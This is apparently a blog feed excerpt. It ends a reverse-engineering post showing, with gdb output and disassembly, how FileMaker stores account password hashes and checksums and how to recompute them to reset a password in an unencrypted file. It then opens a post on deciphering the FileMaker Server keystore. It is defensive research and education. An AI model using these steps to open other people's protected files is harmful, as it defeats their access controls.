 # 01===&amp;gt;0472b2e83c04a8bd2bfe&amp;lt;===3cbc1f..8efe9a8392a50e713f

rdi 0x7fffffffb2c0 # points to pointer where given password is stored
 # (char16, 2-byte chars)

r8 0x1e # length of value in rcx (30 bytes)

r9 0x1 # value of 1

+ some values on the stack
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As commented above, we see several interesting values. &lt;code&gt;rdi&lt;/code&gt; points to the password we passed in as command line argument (as 16-bit characters). &lt;code&gt;rsi&lt;/code&gt; points to a part of the 59-byte value previously seen in the file at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;. Assuming the next argument (&lt;code&gt;rdx&lt;/code&gt;) is the length, we can read 10 bytes from &lt;code&gt;rsi&lt;/code&gt; and get &lt;code&gt;0472b2e83c04a8bd2bfe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;rcx&lt;/code&gt; points to a constant string which starts with &lt;code&gt;File&lt;/code&gt; (hint, hint), but has a length of 30 bytes (&lt;code&gt;r8&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;r9&lt;/code&gt; contains &lt;code&gt;0x01&lt;/code&gt; which may or may not be relevant to what we are trying to find out. We note it down in any case.&lt;/p&gt;
&lt;h3 id="what-do-we-know-so-far"&gt;What do we know so far?&lt;/h3&gt;
&lt;p&gt;While not certain, we can make an assumption that the first 10 bytes after the &lt;code&gt;0x01&lt;/code&gt; is the salt value (as storing it next to a password hash would make sense). To clarify, looking at the 59-byte byte-sequence from above, the 10-bytes are these:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 --&amp;gt; 0472b2e83c04a8bd2bfe &amp;lt;-- 3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We have discovered a 30-byte constant value that seems to be somehow incorporated into the password hash computation (an assumption made based on the passed values).&lt;/p&gt;
&lt;p&gt;We have also discovered a constant value of &lt;code&gt;0x01&lt;/code&gt; which might be relevant to the hash.&lt;/p&gt;
&lt;p&gt;And we have found out that the clear password which we pass on the command line ends up being passed to the &lt;code&gt;ComputePasswordHash&lt;/code&gt; function as well.&lt;/p&gt;
&lt;h3 id="digging-deeper"&gt;Digging deeper&lt;/h3&gt;
&lt;p&gt;We know the input to the function. But what exactly happens &lt;em&gt;within&lt;/em&gt; it?&lt;/p&gt;
&lt;p&gt;To figure this out let&amp;rsquo;s have a closer look at one of the loops in that function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]
0x00007ffff4c328f4 &amp;lt;+132&amp;gt;: div %r13d
0x00007ffff4c328f7 &amp;lt;+135&amp;gt;: movzbl (%r14,%rdx,1),%ebx
0x00007ffff4c328fc &amp;lt;+140&amp;gt;: shl $0x8,%ebx
0x00007ffff4c328ff &amp;lt;+143&amp;gt;: lea 0x1(%rcx),%eax
0x00007ffff4c32902 &amp;lt;+146&amp;gt;: xor %edx,%edx
0x00007ffff4c32904 &amp;lt;+148&amp;gt;: div %r13d
0x00007ffff4c32907 &amp;lt;+151&amp;gt;: movzbl (%r14,%rdx,1),%eax
0x00007ffff4c3290c &amp;lt;+156&amp;gt;: or %ebx,%eax
 ===&amp;gt; 0x00007ffff4c3290e &amp;lt;+158&amp;gt;: xor (%rdi,%rbp,2),%ax &amp;lt;===
0x00007ffff4c32912 &amp;lt;+162&amp;gt;: rol $0x8,%ax
0x00007ffff4c32916 &amp;lt;+166&amp;gt;: mov %ax,(%rdi,%rbp,2)
0x00007ffff4c3291a &amp;lt;+170&amp;gt;: add $0x2,%ecx
0x00007ffff4c3291d &amp;lt;+173&amp;gt;: mov %esi,%ebp
0x00007ffff4c3291f &amp;lt;+175&amp;gt;: add $0x1,%esi
0x00007ffff4c32922 &amp;lt;+178&amp;gt;: cmp %rbp,%r9
0x00007ffff4c32925 &amp;lt;+181&amp;gt;: ja 0x7ffff4c328f0
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking at the assembly code, we can identify an XOR operation (shown with arrows above) with two 16-bit values. Calculating both the effective memory address and looking up the value in &lt;code&gt;ax&lt;/code&gt; (lower 16 bits of &lt;code&gt;rax&lt;/code&gt;), we can see that in the first iteration the values are &lt;code&gt;0x77 0x00&lt;/code&gt; (little endian) and &lt;code&gt;0x46 0x69&lt;/code&gt;, respectively.&lt;/p&gt;
&lt;p&gt;Looking up the ASCII character for &lt;code&gt;0x0077&lt;/code&gt;, we can identify it as &lt;code&gt;w&lt;/code&gt; – the first character (zero-extended to 16-bits) of our &lt;code&gt;whatever&lt;/code&gt; password.&lt;/p&gt;
&lt;p&gt;Doing the same for &lt;code&gt;0x46&lt;/code&gt; and &lt;code&gt;0x69&lt;/code&gt;, we arrive at &lt;code&gt;Fi&lt;/code&gt;, the first two characters (1 byte each, so also 2 bytes/16-bits) of the constant string we saw earlier.&lt;/p&gt;
&lt;p&gt;The result of the XOR operation is thus &lt;code&gt;0x0077 ^ 0x4669 = 0x461e&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Continuing for the whole length of the password, we arrive at a new sequence of bytes that we note down for later.&lt;/p&gt;
&lt;h3 id="looking-at-additional-calls"&gt;Looking at additional calls&lt;/h3&gt;
&lt;p&gt;Inspecting the function further we see two interesting calls:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; ===&amp;gt; 0x00007ffff4c3294e &amp;lt;+222&amp;gt;: callq 0x7ffff4c08b30 &amp;lt;EVP_sha1@plt&amp;gt; &amp;lt;===
0x00007ffff4c32953 &amp;lt;+227&amp;gt;: mov 0x70(%rsp),%rbp
0x00007ffff4c32958 &amp;lt;+232&amp;gt;: mov 0x10(%rsp),%rdi
0x00007ffff4c3295d &amp;lt;+237&amp;gt;: mov 0x18(%rsp),%esi
0x00007ffff4c32961 &amp;lt;+241&amp;gt;: add %esi,%esi
0x00007ffff4c32963 &amp;lt;+243&amp;gt;: mov 0x8(%rbp),%ebx
0x00007ffff4c32966 &amp;lt;+246&amp;gt;: mov %r12,%rdx
0x00007ffff4c32969 &amp;lt;+249&amp;gt;: mov %r15d,%ecx
0x00007ffff4c3296c &amp;lt;+252&amp;gt;: mov 0xc(%rsp),%r8d
0x00007ffff4c32971 &amp;lt;+257&amp;gt;: mov %rax,%r9
0x00007ffff4c32974 &amp;lt;+260&amp;gt;: pushq 0x0(%rbp)
0x00007ffff4c32977 &amp;lt;+263&amp;gt;: push %rbx
 ===&amp;gt; 0x00007ffff4c32978 &amp;lt;+264&amp;gt;: callq 0x7ffff4c087e0 &amp;lt;PKCS5_PBKDF2_HMAC@plt&amp;gt; &amp;lt;===
0x00007ffff4c3297d &amp;lt;+269&amp;gt;: add $0x10,%rsp
0x00007ffff4c32981 &amp;lt;+273&amp;gt;: mov 0x10(%rsp),%rdi
0x00007ffff4c32986 &amp;lt;+278&amp;gt;: lea 0x20(%rsp),%rax
0x00007ffff4c3298b &amp;lt;+283&amp;gt;: cmp %rax,%rdi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The two highlighted functions are from the OpenSSL library.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.openssl.org/docs/man1.1.1/man3/EVP_sha1.html"&gt;EVP_sha1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.openssl.org/docs/manmaster/man3/PKCS5_PBKDF2_HMAC.html"&gt;PKCS5_PBKDF2_HMAC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Since the library is open source, we can look up code and documentation and know for sure what arguments are expected to be passed to these functions.&lt;/p&gt;
&lt;p&gt;So just like before, we can set a breakpoint at the key derivation function PBKDF2 (explained in more detail &lt;a href="https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/"&gt;in my other post&lt;/a&gt;) and look at the registers again to see what values are being passed.&lt;/p&gt;
&lt;p&gt;This is the function signature:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 const EVP_MD *digest,
 int keylen, unsigned char *out);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And these are the register values when calling the function:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg
rax 0x7ffff34b47e0 140737275185120
rbx 0x14 20
rcx 0xa # length of salt (10 bytes)
rdx 0x7fffffffa0d9 # points to 10 byte (rcx) salt (now confirmed) 0x04 0x72 ... (x/10xb $rdx)
rsi 0x10 # length of xored password (16 bytes)
rdi 0x60a38220 # points to 16 (rsi) bytes of XORed password 0x46 0x1e ... (x/16xb $rdi)
rbp 0x7fffffffa350 0x7fffffffa350
rsp 0x7fffffffa038 0x7fffffffa038
r8 0x1 # the value of 1 seen before, the iteration count
r9 0x7ffff34b47e0 # points to SHA1 context

On stack: keylen of 20 and address for out
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I commented each relevant register value above. To summarize it again:&lt;/p&gt;
&lt;p&gt;We pass in our XORed password (&lt;code&gt;rdi&lt;/code&gt;) from above. The value for the &lt;code&gt;salt&lt;/code&gt; argument (&lt;code&gt;rdx&lt;/code&gt;) is the 10 bytes we identified earlier (so it&amp;rsquo;s now confirmed that it indeed is a salt value), an iteration count (&lt;code&gt;r8&lt;/code&gt;) of 1 (the &lt;code&gt;0x01&lt;/code&gt; value we saw earlier), and a pointer to the SHA1 hashing function (&lt;code&gt;r9&lt;/code&gt;) (we saw it being initialized above). Additionally, a desired key length of 20 and an address for the output is passed.&lt;/p&gt;
&lt;p&gt;Letting this function run and observing the result written to &lt;code&gt;*out&lt;/code&gt; we can see that it is exactly the 20 bytes after the previously identified salt value in the 59-byte long sequence of bytes at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="summary-so-far"&gt;Summary so far&lt;/h3&gt;
&lt;p&gt;Of the value at &lt;code&gt;23.1.5.2.6&lt;/code&gt; we now know the following components:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--&amp;gt; Still unknwon
| | +--&amp;gt; The 20-byte derived key / password hash
| +--&amp;gt; The 10-byte salt value
+--&amp;gt; Always 1; we could assume that this is some sort of version number, in case the algorithm changes in the future
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To arrive at this result, we saw that we have to have the password (&lt;code&gt;char16&lt;/code&gt;), a salt and a fixed value.&lt;/p&gt;
&lt;p&gt;In a loop, we XOR the password with the fixed value.&lt;/p&gt;
&lt;p&gt;We then feed the XOR result into &lt;code&gt;PBKDF2&lt;/code&gt; with a &lt;code&gt;SHA1&lt;/code&gt; digest function.&lt;/p&gt;
&lt;p&gt;And out comes the hash that is being stored in the fmp12 file.&lt;/p&gt;
&lt;h2 id="figuring-out-the-variable-length-checksum"&gt;Figuring out the variable-length &amp;ldquo;checksum&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;So what is the still unknown part of this 59-byte sequence? And why does it change in length every time we change a password?&lt;/p&gt;
&lt;p&gt;To figure this out, we have dig into another function called &lt;code&gt;Draco::DBPassword::Read&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[...]
0x00007ffff5e61aeb &amp;lt;+459&amp;gt;: mov $0x1,%edx
0x00007ffff5e61af0 &amp;lt;+464&amp;gt;: movzbl 0x1a(%rsp,%rdx,1),%ebx
 ===&amp;gt; 0x00007ffff5e61af5 &amp;lt;+469&amp;gt;: xor 0x10(%rsp,%rdx,1),%bl &amp;lt;===
0x00007ffff5e61af9 &amp;lt;+473&amp;gt;: movzbl 0x2e(%rsp,%rdx,1),%ecx
0x00007ffff5e61afe &amp;lt;+478&amp;gt;: cmp %bl,%cl
0x00007ffff5e61b00 &amp;lt;+480&amp;gt;: sete %al
0x00007ffff5e61b03 &amp;lt;+483&amp;gt;: cmp %rsi,%rdx
0x00007ffff5e61b06 &amp;lt;+486&amp;gt;: jae 0x7ffff5e61b14
0x00007ffff5e61b08 &amp;lt;+488&amp;gt;: add $0x1,%rdx
 ===&amp;gt; 0x00007ffff5e61b0c &amp;lt;+492&amp;gt;: cmp %bl,%cl &amp;lt;===
0x00007ffff5e61b0e &amp;lt;+494&amp;gt;: je 0x7ffff5e61af0
0x00007ffff5e61b10 &amp;lt;+496&amp;gt;: jmp 0x7ffff5e61b14
0x00007ffff5e61b12 &amp;lt;+498&amp;gt;: and %cl,%al
0x00007ffff5e61b14 &amp;lt;+500&amp;gt;: test %al,%al
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we see again a XOR operation in a loop. And if we look at the values in memory and the register for each iteration, we will find that each byte of the password hash is XORed with each byte of the salt value.&lt;/p&gt;
&lt;p&gt;Looking at the result, we see that it matches the previously unknown remainder of the 59-byte sequence mentioned earlier.&lt;/p&gt;
&lt;p&gt;We also see that every &lt;strong&gt;computed&lt;/strong&gt; byte (XOR result) is compared to the &lt;strong&gt;stored&lt;/strong&gt; byte – so any variation between stored and computed will likely trigger the tamper alert.&lt;/p&gt;
&lt;p&gt;Visualizing the first few operations of this loop:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 | | | | | | ^ ^ ^
 | | | | | | | | |
 | | | | | | | | |
 | | | | | | | | |
 | | | v | | | | |
 +-|-|---&amp;gt; xor(0x04, 0x3c) = 0x38 ---------------------------+ | |
 | | | | | |
 | | v | | |
 +-|-----&amp;gt; xor(0x72, 0xbc) = 0xce ---------------------------+ |
 | | |
 | v |
 +-------&amp;gt; xor(0xb2, 0x1f) = 0xad ---------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You might be wondering how you can XOR salt and password if they differ in length. What actually happens is XOR(salt + password, password), with the password being extended by the XOR result as the loop progresses.&lt;/p&gt;
&lt;h3 id="why-variable-length"&gt;Why variable length?&lt;/h3&gt;
&lt;p&gt;What we don&amp;rsquo;t yet understand is why the XOR byte-sequence has a variable length, i.e. is often truncated.&lt;/p&gt;
&lt;p&gt;The answer is to be found in yet another function: &lt;code&gt;Draco::DBUserAccount::MatchPasswordData&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Setting a breakpoint, running the program and taking a closer look, we can see the following instructions:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;0x00007ffff5e63901 &amp;lt;+225&amp;gt;: movzbl 0x28c(%rsp),%esi
0x00007ffff5e63909 &amp;lt;+233&amp;gt;: and $0x1f,%esi
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;By calculating the effective memory address and inspecting the source of the value being moved into &lt;code&gt;esi&lt;/code&gt;, we can observe that it always takes the second byte of the password hash:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 |
 +--&amp;gt; 0xbc is the second byte of the password hash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What follows is a bitwise AND instruction with inputs &lt;code&gt;0x1f&lt;/code&gt; and the value in &lt;code&gt;esi&lt;/code&gt; (&lt;code&gt;0xbc&lt;/code&gt; in this case).&lt;/p&gt;
&lt;p&gt;The bitwise AND operation performs a logical AND on every bit-pair of the two input bytes. If both values of a pair are &lt;code&gt;1&lt;/code&gt;, the result is &lt;code&gt;1&lt;/code&gt;, otherwise &lt;code&gt;0&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt; 00011111 &amp;lt;=== 0x1f
AND 10111100 &amp;lt;=== 0xbc
 --------
 00011100 = 0x1c = 28
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If &lt;code&gt;0x1f&lt;/code&gt; is fixed, the largest value that can come out of this is &lt;code&gt;0x1f&lt;/code&gt;, or 31, itself.&lt;/p&gt;
&lt;p&gt;But what do we do with this value? It turns out that it is used to truncate our XOR &amp;ldquo;checksum&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;So in our case with the second byte of the password hash being &lt;code&gt;0xbc&lt;/code&gt;, we would have a &lt;code&gt;0x1c&lt;/code&gt;, or 28 byte long checksum at the end:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--&amp;gt; 28 bytes
| | +--&amp;gt; 20 bytes
| +--&amp;gt; 10 bytes
+--&amp;gt; 1 byte
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now the big question is: Knowing all the components in this 59-byte sequence at path &lt;code&gt;23.1.5.2.6&lt;/code&gt;, can we generate a new salt, compute the derived key/hash, and XOR checksum from a new password of our choice, insert it back into the file, and then open the file using the chosen password?&lt;/p&gt;
&lt;p&gt;It could work (based on our assumptions so far). Before we try it out, though, we have to account for one more thing.&lt;/p&gt;
&lt;p&gt;If we choose a new password with the same or different salt value, we will most-likely have a different length XOR checksum at the end. This means, we would need to re-align the block (filling it up with NOPs or null-bytes won&amp;rsquo;t work).&lt;/p&gt;
&lt;p&gt;Since this can get complicated, we can use a small trick: we just brute-force a new salt-value which – combined with the password – leads to a &lt;code&gt;0xbc&lt;/code&gt; in the second byte of the SHA-1 hash. This way, the length of the XOR checksum at the end will stay the same and we replace the 59 bytes exactly with another 59-byte long sequence.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s insert the new value, and try to open the file again:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tamper alert" loading="lazy" src="https://davidhamann.de/images/tamper-alert.png"&gt;&lt;/p&gt;
&lt;p&gt;Oooops! :-) Still not working.&lt;/p&gt;
&lt;h2 id="figuring-out-the-account-checksum"&gt;Figuring out the account checksum&lt;/h2&gt;
&lt;p&gt;Our failure implicitly gave us another hint: there must be another piece of data which also takes the salt and password into consideration – otherwise our little replacement from above would be impossible to be detected as tampering.&lt;/p&gt;
&lt;p&gt;So let&amp;rsquo;s go back to the beginning and have another look at the account section that we parsed out earlier:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==&amp;gt; 05407cdc76b7f1fd29ac5a9c791af6b8 &amp;lt;=== remember this?

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==&amp;gt; 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==&amp;gt; 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==&amp;gt; 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==&amp;gt; 1b3e373334 ===&amp;gt; (&amp;#34;Admin&amp;#34; XORed with 0x5a)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We saw this fixed-size 16-byte long &amp;ldquo;hash-like&amp;rdquo; looking sequence of bytes with key &lt;code&gt;0x04&lt;/code&gt;. We previously made the assumption that it could be an MD5 hash (given the length). We also observed that it always completely changes with every change made to the account (changing password, account name, privilege set, etc.).&lt;/p&gt;
&lt;p&gt;Hunting for more functions, we eventually see that &lt;code&gt;Draco::DBUserAccount::ComputeCRC&lt;/code&gt; is called for every account in the file (you could have also seen that &lt;code&gt;ComputeCRC&lt;/code&gt; is on the callstack for some of the other password related functions; &lt;code&gt;info stack&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;So if we break at the n-th call to the function, where n is the position of the account, we can continue our investigation.&lt;/p&gt;
&lt;p&gt;Getting a first overview of the assembly instructions, it stands out that we have a lot of calls to another function, &lt;code&gt;Draco::CRCContext::Update&lt;/code&gt;, which in turn calls OpenSSL&amp;rsquo;s &lt;code&gt;MD5_Update&lt;/code&gt; function.&lt;/p&gt;
&lt;p&gt;Debugging functions for which we have documentation and code is always easier. So why don&amp;rsquo;t we break at every call to &lt;code&gt;MD5_Update&lt;/code&gt; until we have a &lt;code&gt;MD5_Final&lt;/code&gt; call which finalizes the checksum?&lt;/p&gt;
&lt;p&gt;The strategy is the same as before: pause the program when the function is called, then look at the passed values. For OpenSSL&amp;rsquo;s &lt;code&gt;MD5_Update&lt;/code&gt; function we even know the signature, which makes things easier: &lt;code&gt;int MD5_Update(MD5_CTX *c, const void *data, unsigned long len);&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So what&amp;rsquo;s in the registers when the function is called?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) info reg
rax 0x7fffffffa880 140737488332928
rbx 0x7fffffffa890 140737488332944
rcx 0x1 1
rdx 0x10 16
rsi 0x7fffffffa880 140737488332928
rdi 0x60a37dd0 1621327312
rbp 0x0 0x0
rsp 0x7fffffffa868 0x7fffffffa868
r8 0x0 0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;rdi&lt;/code&gt; has the MD5 context, which we can ignore for now. &lt;code&gt;rsi&lt;/code&gt; contains a pointer to the data to be included in the hash, and &lt;code&gt;rdx&lt;/code&gt; contains its length.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;(gdb) x/16xb $rsi
0x7fffffffa880: 0x44 0x8f 0x00 0x0b 0x21 0xe9 0x41 0x2b
0x7fffffffa888: 0xa5 0x9c 0x8c 0x5f 0xd9 0x68 0x13 0xdb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While we don&amp;rsquo;t know what this sequence of bytes represents, we can just note it down and continue to the next call until the MD5 hash is finalized.&lt;/p&gt;
&lt;p&gt;Eventually, we have all inputs to the MD5 hash and can also re-create it in a program of our own. It turns out, when computed again, the hash exactly matches the value stored at &lt;code&gt;23.1.5.2.4&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But how would we re-compute this without seeing the values from the debugger? For most values that are an input to the hash function, this is relatively easy: you can search for the value in the fmp12 file and note down its path (given it has an adequate length to be unique-ish in the file).&lt;/p&gt;
&lt;p&gt;To find the value for a different file, you could just look up the value at the same path again. And if all fails, you could of course also run the debugger again to get to these values.&lt;/p&gt;
&lt;h2 id="do-we-have-it-now"&gt;Do we have it now?&lt;/h2&gt;
&lt;p&gt;Since we can now freely re-compute the values at &lt;code&gt;23.1.5.2.4&lt;/code&gt; and &lt;code&gt;23.1.5.2.6&lt;/code&gt;, is it enough to replace the two byte-sequences in a file to open it with a new password?&lt;/p&gt;
&lt;p&gt;&lt;img alt="FileMaker login" loading="lazy" src="https://davidhamann.de/images/fm-login.png"&gt;&lt;/p&gt;
&lt;p&gt;We enter our new password, and voilà: we&amp;rsquo;re in :-)&lt;/p&gt;
&lt;h2 id="additional-info-and-caveats"&gt;Additional info and caveats&lt;/h2&gt;
&lt;p&gt;A few important things to note and to answer some questions that came up during my talk:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FileMaker&amp;rsquo;s Encryption at Rest feature protects you exactly from this (as long as you keep your passphrase secret)&lt;/li&gt;
&lt;li&gt;There are and will always be undocumented byte-codes as the specification is not open. In this case you either need to figure out what the byte-code does or you can decide to skip the rest of the payload and jump to the next block. If you are only interested in the account/password information, this is usually not a problem as long as the unknown code(s) don&amp;rsquo;t appear in exactly the block containing the account information.&lt;/li&gt;
&lt;li&gt;Some components that go into the MD5 hash are semantically unclear (to me). In most cases you can just copy the value from the file (if at a known path). If this doesn&amp;rsquo;t work, you can always get them via the debugger.&lt;/li&gt;
&lt;li&gt;If all &lt;code&gt;[Full Access]&lt;/code&gt; accounts / the privilege set have been removed from the file and you want to add back such an account, you will need to figure out a lot more than described above. While theoretically possible, it&amp;rsquo;s probably hard work (need to add back the privilege set, a new account, re-align the blocks, etc.).&lt;/li&gt;
&lt;li&gt;Note that you &lt;strong&gt;don&amp;rsquo;t&lt;/strong&gt; need an account/password if you just want to get a specific piece of data from a file. You can just parse the file as described above and get/export it this way.&lt;/li&gt;
&lt;li&gt;Is the file integrity still intact after replacing the hashes? From what I can tell, yes. You can also run a recovery on the file afterwards and it doesn&amp;rsquo;t flag the changed block as &amp;ldquo;bad&amp;rdquo;. However, there&amp;rsquo;s obviously no guarantee as there&amp;rsquo;s no official documentation. Changing a password the &amp;ldquo;normal&amp;rdquo; way does a bit more to the file, but I don&amp;rsquo;t think the other changes are particularly relevant (more like modification counts, etc.).&lt;/li&gt;
&lt;li&gt;What do the commercial password reset tools do? I don&amp;rsquo;t have any of those tools, but someone provided me with two fmp12 files; one original and one created using the &amp;ldquo;Passware&amp;rdquo; recovery tool. The only difference between the provided files was in the two mentioned paths. So they do exactly the same thing as described in this post.&lt;/li&gt;
&lt;li&gt;Is this a vulnerability in FileMaker? No, I don&amp;rsquo;t consider the possibility of resetting a password in a local unencrypted file to be a vulnerability, so nothing was reported.&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Deciphering the FileMaker Server keystore</title><link>https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/</link><pubDate>Mon, 29 May 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;While checking out how the &lt;a href="https://davidhamann.de/2023/03/16/upload-filemaker-files-without-pro-client/"&gt;FileMaker Pro to Server upload feature worked&lt;/a&gt;, I noticed that credentials were encrypted using a RSA public key before being sent to the server.&lt;/p&gt;
&lt;p&gt;I looked into FileMaker Server&amp;rsquo;s installation directory and found that the private key was stored in the &lt;code&gt;CStore/keystore&lt;/code&gt; file – at least I assumed it, as the file stores keys and values, where the keys are base64-encoded strings, one of them being &lt;code&gt;bWFjaGluZVByaXZhdGVLZXk=&lt;/code&gt;, or &lt;code&gt;machinePrivateKey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While the values are base64-encoded just like the keys, decoding them just reveals ciphertext, so you cannot really tell what you are looking at.&lt;/p&gt;
&lt;p&gt;Next to the &lt;code&gt;machinePrivateKey&lt;/code&gt; I saw several encoded file UUIDs which values represented the EAR (encryption at rest) &amp;ldquo;encryption password&amp;rdquo; for files hosted by the server. This became obvious when new entries appeared in the &lt;code&gt;keystore&lt;/code&gt; after uploading encrypted files and choosing to save the password (to be able to auto-open the files after a reboot).&lt;/p&gt;
&lt;p&gt;At this point I decided to spend some time to better understand how the keystore actually works, how secrets are protected and if I could replicate the encryption/decryption process to decipher the stored values.&lt;/p&gt;
&lt;p&gt;In this post I want to share what I figured out, but more so show my approach (including failed attempts), so that you can hopefully benefit from it when taking on similar problems. I will talk about learning from observing the data, doing memory dumps, attaching debuggers, and a little bit of cryptography.&lt;/p&gt;
&lt;h3 id="some-notes-before-you-read-on"&gt;Some notes before you read on&lt;/h3&gt;
&lt;p&gt;I generally believe it&amp;rsquo;s useful to have a better understanding of the inner workings of the systems you&amp;rsquo;re using on a daliy basis (and maybe even depend on) – to help with troubleshooting, to be able to judge what features to use or to ignore, what risks to accept and to make sense of (sometimes odd) software behaviors. In my opinion most of these things are better publicly documented than privately/exclusively shared.&lt;/p&gt;
&lt;p&gt;But I also talked to a couple of people and was advised to omit a few details, such that not a full decryption script is made available. In the last part I will thus skip over a few steps to keep it brief and don&amp;rsquo;t reveal the final part required to recreate the encryption key. I do, however, give pointers on where to look if you would like to try it yourself as an exercise.&lt;/p&gt;
&lt;div class="notice notice-danger"&gt;
 If you follow along with this article, please be aware that the actions taken can damage your FMS installation and hosted databases.
&lt;/div&gt;

&lt;p&gt;Lastly, I&amp;rsquo;m not a professional reverse engineer, so there might be more straightforward ways of tackling the same problem and mine are not necessarily the best/fastest (in fact I&amp;rsquo;ve later learned many things that could have led me to the result much more quickly).&lt;/p&gt;
&lt;p&gt;If you are still curious, please read on.&lt;/p&gt;
&lt;h2 id="first-insights-by-looking-at-the-data"&gt;First insights by looking at the data&lt;/h2&gt;
&lt;p&gt;When you want to figure out an unknown encoding or encryption system it&amp;rsquo;s extremely helpful if you are able to observe how new data (entered by you) is encoded/encrypted.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s have a look what insights can be gained just by observing data.&lt;/p&gt;
&lt;p&gt;Opening the &lt;code&gt;keystore&lt;/code&gt; file (which is publicly readable by default, by the way), we can identify two things quickly:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;RTI2Q0M1RkJGOUEyNDQ1OEE3MzE0QjE0RUIyQkY4RTY=;9acSKigNs3IHuEikQeit1Q==
RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ=;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;First, it seems the &lt;code&gt;;&lt;/code&gt; is the separator. And second, based on the set of characters and padding at the end, the encoding looks like base64.&lt;/p&gt;
